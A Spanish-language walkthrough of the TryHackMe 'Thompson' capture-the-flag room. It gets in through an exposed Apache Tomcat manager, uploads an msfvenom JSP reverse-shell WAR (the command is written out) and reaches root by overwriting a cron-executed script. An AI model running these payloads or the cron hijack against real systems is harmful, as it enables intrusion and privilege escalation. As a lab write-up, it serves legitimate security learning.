Thompson

Datos Generales

  • URL: https://tryhackme.com/r/room/bsidesgtthompson
  • Dificultad: Fácil
  • Flags: Usuario y Root
  • Aprendizaje: Explotación con metasploit, crontab

Conocimientos iniciales

Apache Tomcat y archivos .war

Las versiones anteriores a 6.024/5.5.29 de tomcat son vulnerables a directory transversal, lo que permite ejecutar un payload desde metasploit, entre otras técnicas de explotación.

Información ampliada en el siguiente enlace: Apache Tomcat WAR Multiple Vulnerabilities

crontab

Crontab ejecuta tareas automatizadas en segundo plano, desde una lista alojada en etc/crontab o en otra ubicación determinada por el administrador.

Información ampliada en el siguiente enlace: Crontab

El CTF

Reconocimiento

Al iniciar el proceso de reconocimiento es común realizar la enumeración de puertos, el scaneo de directorios y de subdominios, entre otras pruebas según presente la aplicación web obejtivo. En el caso de este ctf se obtuvo resultados de ínteres mediante el scaneo de puertos. La herramienta utilizada para ello fue nmap. El resultado muestra que el puerto 8080 se encuentra habilitado para desplegar el servicio Apache Tomcat

Ingresando por el puerto 8080 se observa que se despliega un menu de inicio de sesión, el cual al oprimir en cancel despliega una pagina de error con información importante.

Inicio de sesión

Primera Flag

Realizando el login con las credenciales obtenidas en la página de error accedemos al siguiente panel

La página permite “subir” e implementar archivos .war en el servidor

Como se expuso al inicio de este tutorial, es posible realizar un ataque de tipo directory transversal mediante el uso de archivos war. Para ello necesitaremos msfvenom para generar el payload. Como podemos ver a continuación

msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war

Se puede obtener el payload desde: https://book.hacktricks.wiki/es/generic-hacking/reverse-shells/msfvenom.html?highlight=war#war

Generamos el payload y ponemos un servidor en escucha en el puerto 4444

Una vez subido el archivo reverse_shell.war ejecutamos el payload desde el panel de administración

Observamos que fue posible la conexión a través del payload. A continuación realizamos la búsqueda de la flag en los archivos del servidor.

Escalamiento de privilegios

Flag de root

Notamos que el archivo id.sh se encuentra enlazado al archivo test.txt, es posible que se ejecute mediante crontab

Utilizamos el comando echo para copiar

echo 'cp /root/root.txt /home/jack/root.txt' > id.sh

Al ejecutarse este comando, se copiará el archivo root.txt ubicado en el directorio /root/ al directorio /home/jack/.

Esperamos un momento a que se ejecute la tarea en crontab, y accedemos root.txt obteniendo la segunda flag